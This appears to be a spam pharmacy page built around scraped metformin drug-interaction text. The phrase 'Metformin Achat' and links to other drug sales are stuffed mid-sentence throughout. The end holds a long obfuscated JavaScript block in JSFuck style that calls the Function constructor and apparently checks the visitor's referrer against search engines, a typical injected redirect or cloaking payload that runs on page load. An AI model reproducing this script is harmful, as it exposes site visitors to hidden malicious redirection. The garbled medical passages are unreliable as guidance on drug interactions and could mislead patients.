Metformin Achat

Note 4.6 étoiles, basé sur 122 commentaires.

Some beta-blockers, particularly non-selective beta-blockers Metformin Achat as propranolol, have been noted to potentiate insulin-induced hypoglycemia and Metformin Achat delay in recovery Metformin Achat blood glucose to normal levels, Metformin Achat. Hyperglycemia www.cottoncandylover.com been reported as well and is possibly due to beta-2 receptor blockade in the beta cells of the pancreas, Metformin Achat. A Metformin Achat beta-blocker may be preferred in patients with diabetes mellitus, Metformin Achat, if Metformin Achat for the Metformin Achat condition. Selective beta-blockers, such as atenolol or metoprolol, do not appear Metformin Achat potentiate insulin-induced Metformin Achat.

While beta-blockers may have negative effects on glycemic control, they reduce the risk of cardiovascular disease and stroke in patients with diabetes and their use should not be avoided in patients with compelling indications for beta-blocker therapy when no other contraindications are present. Bictegravir; Emtricitabine; Tenofovir Alafenamide: Close monitoring of blood glucose and patient clinical status is recommended.

Bictegravir inhibits common renal tubular transport systems involved in the renal elimination of metformin e. Moderate During clinical trials of bortezomib, hypoglycemia and hyperglycemia were reported in diabetic patients receiving antidiabetic agents. Patients taking antidiabetic agents and receiving bortezomib treatment may require close monitoring of their blood glucose levels and dosage adjustment of their medication. Moderate Consider the benefits and risks of concomitant therapy of brigatinib with metformin. Minor Bumetanide has been associated with hyperglycemia, possibly due to potassium depletion, and, glycosuria has been reported. Because of this, a potential pharmacodynamic interaction exists between bumetanide and all antidiabetic agents.

This interference can lead to a loss of buy Caverta antidiabetic Metformin Achat may Metformin Achat necessary as Metformin Achat hypoglycemia has been reported in patients treated concomitantly with chloroquine and an antidiabetic agent. Chlorpheniramine; Guaifenesin; Hydrocodone; Pseudoephedrine: Minor Increased frequency of blood glucose monitoring may be required when clonidine is given with antidiabetic agents. Since clonidine inhibits the release of catecholamines, clonidine may Metformin Achat symptoms of hypoglycemia such as tremor, tachycardia, Metformin Achat, and blood pressure changes.

Clonidine does not appear to impair recovery from hypoglycemia, and has not been found to impair glucose tolerance in diabetic patients. Moderate Chromium dietary supplements may lower blood glucose. As part of the glucose tolerance factor Metformin Achat, chromium appears to facilitate the binding of insulin to insulin receptors in tissues and to aid Metformin Achat glucose metabolism. buy Tenoretic glucose is recommended.

Moderate Use with caution, Metformin Achat, Metformin Achat cimetidine Metformin Achat renal elimination of metformin, Metformin Achat. Consider alternatives to Metformin Achat. Increased metformin exposure due to use of cimetidine may lead to gastrointestinal complaints, altered glycemic control, and a potential for an increased risk for lactic acidosis. If it is medically necessary to use cimetidine, carefully monitor. Metformin dose reduction may be needed. Cimetidine inhibits common renal tubular transport systems involved in the renal elimination of metformin e. Moderate Because cisapride can enhance gastric ing in diabetic patients, blood glucose can be affected, which, in turn, may affect the clinical response to antidiabetic agents.

Monitor blood glucose and adjust if cliniically indicated. Moderate Concomitant use of clofarabine and metformin may result in altered clofarabine levels because both agents are a substrate of OCT1. Therefore, monitor for signs of clofarabine toxicity such as gastrointestinal toxicity e. Cobicistat; Elvitegravir; Emtricitabine; Tenofovir Alafenamide: Minor Promethazine should be used cautiously in patients receiving metformin. Patients should routinely monitor their blood glucose as indicated. Phenothiazines have been reported to increase blood glucose concentrations. According to the manufacturer of colesevelam, the clinical response to metformin ER should be monitored in patients receiving concomitant therapy. Colesevelam has no significant effect on the bioavailability of immediate-release metformin. Minor Monitor blood glucose periodically in patients on metformin for changes in glycemic control when hormone therapy is instituted or discontinued.

Estrogens can decrease the hypoglycemic effects of antidiabetic agents by impairing glucose tolerance. Changes in glucose tolerance occur more commonly in patients receiving 50 mcg or more of ethinyl estradiol or equivalent per day in combined oral contraceptives COCs, which are not commonly used in practice since the marketing of lower dose COCs, patches, injections and rings. Minor Patients receiving antidiabetic agents like metformin should be closely monitored for signs indicating changes in diabetic control when therapy with progestins is instituted or discontinued.

Progestins can impair glucose tolerance. Moderate Monitor patients receiving antidiabetic agents closely for worsening glycemic control when corticosteroids are instituted and for signs of hypoglycemia when corticosteroids are discontinued. Systemic and inhaled corticosteroids are known to increase blood glucose and worsen glycemic control in patients taking antidiabetic agents. The main risk factors for impaired glucose tolerance due to corticosteroids are the dose of steroid and duration of treatment. Corticosteroids stimulate hepatic glucose production and inhibit peripheral glucose uptake into muscle and fatty tissues, producing insulin resistance.

Decreased insulin production may occur in How to buy Deltasone 5 mg cheap beta cells. Minor Metformin Achat may result in suboptimal oral vitamin B12 absorption by competitively blocking the calcium-dependent binding of the intrinsic factor-vitamin B12 complex to its receptor. Regular measurement of hematologic parameters is recommended in all patients Metformin Achat chronic metformin treatment; abnormalities should be investigated. Moderate Patients should be monitored for worsening glycemic control if therapy with cyclosporine is initiated in patients receiving antidiabetic agents. Cyclosporine Metformin Achat been reported to cause Metformin Achat or exacerbate diabetes mellitus; this effect appears to be dose-related and caused by direct beta-cell toxicity.

Dasabuvir; Ombitasvir; Paritaprevir; Ritonavir: Monitor for Metformin Achat of onset of lactic acidosis such as respiratory distress, somnolence, and non-specific abdominal distress or worsening renal function. Do not use metformin with paritaprevir in patients with renal insufficiency or hepatic impairment. The hyperglycemic effect begins maillabs.net closely monitored.

Concomitant use of dichlorphenamide Metformin Achat metformin may increase the risk for lactic acidosis; consider more frequent Metformin Achat. Metformin may increase digoxin concentrations by competing for these mechanisms, Metformin Achat, but the magnitude is unclear. Although buy Glipizide interactions remain theoretical, careful patient monitoring of Metformin Achat glucose, heart rate, digoxin concentrations, renal function and electrolytes, along with clinical status, are Metformin Achat. Moderate Disopyramide may enhance the hypoglycemic effects of antidiabetic agents. Patients receiving disopyramide concomitantly with antidiabetic agents should be monitored for changes in glycemic control. Reduced clearance of metformin may increase the risk for lactic acidosis; increased concentrations of dofetilide may increase the risk for side effects including proarrhythmia.

Careful patient monitoring and dose adjustment of metformin and dofetilide is recommended. Regardless, careful patient monitoring is recommended. Doravirine; Lamivudine; Tenofovir disoproxil fumarate: Drospirenone; Ethinyl Estradiol; Levomefolate: Minor Levomefolate and metformin should be used together cautiously.

Plasma concentrations of levomefolate may be reduced during treatment of type 2 diabetes with metformin. Monitor patients for decreased efficacy of levomefolate if these agents are used together. Efavirenz; Lamivudine; Tenofovir Disoproxil Fumarate: Emtricitabine; Rilpivirine; Tenofovir alafenamide: Emtricitabine; Rilpivirine; Tenofovir disoproxil fumarate: Emtricitabine; Tenofovir disoproxil fumarate: Moderate Sulfonamides may enhance the hypoglycemic action of antidiabetic agents; patients with diabetes mellitus should be closely monitored during sulfonamide treatment. Sulfonamides may induce hypoglycemia in some patients by increasing the secretion of insulin from the pancreas. Patients at risk include those with compromised renal function, those fasting for prolonged periods, those that are malnourished, and those receiving high or excessive doses of sulfonamides.

Minor Estramustine should be used cautiously in patients receiving metformin. Estramustine may decrease glucose tolerance leading to hyperglycemia. Moderate Loop diuretics can decrease the hypoglycemic effects of antidiabetic agents by producing an increase in blood glucose concentrations. Patients receiving antidiabetic agents should be monitored for changes in blood glucose control if such diuretics are added or deleted. Dosage adjustments may be necessary. Moderate Patients taking metformin should be advised to limit their use of ethanol alcohol.

Elevated lactic acid concentrations are associated with increased morbidity rates as the risk for lactic acidosis is increased. In patients with diabetes, alcohol intake can also cause hypoglycemia or worsen glycemic control as it provides a source of additional calories. Ethinyl Estradiol; Ethynodiol Diacetate: Ethinyl Estradiol; Levonorgestrel; Ferrous bisglycinate: Ethinyl Estradiol; Norethindrone Acetate: Ethinyl Estradiol; Norethindrone Acetate; Ferrous fumarate: Ethinyl Estradiol; Norethindrone; Ferrous fumarate: Minor Ethotoin and other hydantoins have the potential to increase blood glucose and thus interact with antidiabetic agents pharmacodynamically.

Monitor blood glucose for changes in glycemic control. Minor Famotidine may decrease the renal clearance of metformin secondary to competition for renal tubular transport systems. Famotidine may be less likely to interact with metformin versus cimetidine or ranitidine because of less tubular excretion. Fibric acid derivatives may enhance the hypoglycemic effects of antidiabetic agents through increased insulin sensitivity and decreased glucagon secretion.

Moderate In patients with diabetes mellitus, fluoxetine may alter glycemic control. Hypoglycemia has occurred during fluoxetine therapy. Folic Acid, Vitamin B9: Minor Fosphenytoin and other hydantoins have the potential to increase blood glucose and thus interact with antidiabetic agents pharmacodynamically. Minor Furosemide may cause hyperglycemia and glycosuria in patients with diabetes mellitus, probably due to diuretic-induced hypokalemia. Lactic acidosis has been reported in patients taking metformin that experience nephrotoxicity after use of iodinated contrast media.

Moderate Patients receiving antidiabetic agents should use dietary supplements of Garlic, Allium sativum with caution.

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Monitor blood glucose and glycemic control. Patients with diabetes should inform their health Metformin Achat professionals of their intent to ingest garlic dietary supplements. Some Metformin Achat may cheap Lasix blood lipids, Metformin Achat, but few Metformin Achat demonstrate decreases Metformin Achat blood glucose in diabetic and non-diabetic patients.

More controlled Metformin Achat are needed to discern if garlic has an effect on Metformin Achat glucose Metformin Achat patients with diabetes. Patients with Metformin Achat mellitus taking antidiabetic agents should be monitored closely for hypoglycemia if consuming green tea products. Köpa Lioresal 10 mg Sverige Potassium Guaiacolsulfonate; Pseudoephedrine: A decreased dose of the antidiabetic Metformin Achat may be necessary as severe hypoglycemia Metformin Achat been reported in patients treated concomitantly with hydroxychloroquine and an antidiabetic agent.

www.hopitalcroixdusud.com A potential pharmacodynamic interaction exists between indapamide and antidiabetic agents, like Metformin Achat. Indapamide can decrease insulin sensitivity Metformin Achat leading to glucose intolerance and hyperglycemia. Diuretic-induced hypokalemia may also lead to hyperglycemia. Insulins are known to cause hypoglycemia. To manage hypoglycemic risk, lower doses of insulin may be needed. Monitor blood sugar and adjust insulin dosage as clinically indicated. Insulin Aspart; Insulin Aspart Protamine: Insulin Lispro; Insulin Lispro Protamine: Ioxaglate Meglumine; Ioxaglate Sodium: Lamivudine; Tenofovir Disoproxil Fumarate: Lamotrigine is an inhibitor of renal tubular secretion via organic cationic transporter 2 OCT2 proteins, and metformin is excreted via this route.

Moderate Monitor blood glucose levels regularly in patients with diabetes, Metformin Achat, especially when lanreotide treatment is initiated or when the dose is altered, Metformin Achat. Adjust treatment with antidiabetic agents as clinically indicated. Lanreotide inhibits the secretion of insulin and glucagon. Patients treated with lanreotide may experience either hypoglycemia or hyperglycemia. Minor Thyroid hormone use may result in increased blood sugar and a loss of glycemic control in some patients, Metformin Achat. Interactions may or may not be clinically significant at usual replacement doses. Monitor blood sugars carefully when thyroid therapy is added, Metformin Achat, changed, or discontinued in patients receiving metformin. Moderate Hypoglycemia, Metformin Achat, including symptomatic episodes, has been noted in post-marketing reports with linezolid in patients with diabetes mellitus receiving therapy with antidiabetic agents, such as insulin and oral hypoglycemic agents.

Diabetic patients should be monitored for potential hypoglycemic reactions while on linezolid. If hypoglycemia occurs, discontinue or decrease the dose of the antidiabetic agent or discontinue the linezolid therapy. Linezolid is a reversible, nonselective MAO inhibitor and other MAO inhibitors have been associated with hypoglycemic episodes in diabetic patients receiving insulin or oral hypoglycemic agents.

Moderate Lithium may cause variable effects on glycemic control when used in patients receiving antidiabetic agents. Dosage adjustments of antidiabetic agents may be necessary. Moderate Disturbances of blood glucose, Metformin Achat, including hyperglycemia and hypoglycemia, have been reported in patients treated concomitantly with quinolones and an antidiabetic agent. In clinical trials, lorcaserin use was associated with reports of hypoglycemia. Blood glucose monitoring is warranted in patients with type 2 diabetes prior to starting and during lorcaserin treatment. Dosage adjustments of anti-diabetic medications should be considered. Of note, lorcaserin has not been studied in combination with insulin.

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Moderate Niacin nicotinic acid cheap Cialis Soft glycemic Metformin Achat if niacin nicotinic acid is added or Metformin Achat to the medication regimen, Metformin Achat. Metformin Achat monitoring is important when initializing or adjusting mecasermin therapies, when adjusting concomitant antidiabetic Metformin Achat, and Metformin Achat the event of hypoglycemic symptoms.

An increased risk for hypoglycemia is possible. The hypoglycemic Metformin Achat induced by IGF-1 activity may Metformin Achat exacerbated. Metformin Achat amino acid sequence of Metformin Achat rh-IGF-1 is approximately 50 percent homologous to insulin and Metformin Achat binding with Metformin Achat receptor is possible, Metformin Achat. Treatment with mecasermin has Metformin Achat shown to improve insulin sensitivity and to improve glycemic control in patients with either Metformin Achat 1 or Type 2 diabetes mellitus when used alone or in conjunction with insulins. Metformin Achat Use of metformin with a meglitinide «glinide» Metformin Achat increase the risk of hypoglycemia. Meglitinides are insulin secretagogues and are known to cause hypoglycemia. To manage hypoglycemic risk, lower doses of the meglitinide may be needed.

Concomitant use of methazolamide with metformin may increase the risk for lactic acidosis; consider more frequent monitoring, Metformin Achat. Moderate Because metoclopramide can enhance gastric ing in diabetic patients, blood glucose can be affected, which, in turn, may affect the clinical response to antidiabetic agents. According to the University of Chicago Medical Center, Metformin Achat, lowering insulin levels also lowers the amount of testosterone produced, thus theoretically decreasing the symptoms of PCOS that are associated with excess testosterone.

It may also help reduce the chance of miscarriage or gestational diabetes and improve the chance of successful in-vitro fertilization IVF, though according to the NIH, research is inconclusive on all of these topics. Dosage Sternfeld emphasized the importance of adhering to the metformin dosage and schedule laid out by your doctor and also discussing it with your pharmacist. If you don’t manage your sugar levels, you’re not just looking at being diabetic but at being someone who has multiple blood sugar problems. The regular tablet is taken with meals two or three times a day, the extended-release tablet is taken once a day with a meal in the evening, and the liquid is usually taken with meals once or twice a day. Patients are always advised to take it after meals to avoid stomach distress,» Sternfeld said.

Doctors often start patients on low doses of metformin and gradually increase the dosage. The NIH stresses that patients should not stop taking metformin without consulting a doctor, even if they feel well. Metformin cannot cure diabetes, only help control it. In the case of a missed dose, the patient should take the missed dose as soon as he or she remembers it, Metformin Achat, unless it is almost time for the next dose. In that case, the patient should skip the missed dose and continue on the regular dosing schedule. The NIH says that patients should not take a double dose to make up for a skipped one.

lXRDfa8

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,56,53,48,54,57,119,122,72,84,77,76,60,34,112,47,95,63,38,43,85,67,71,44,58,37,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]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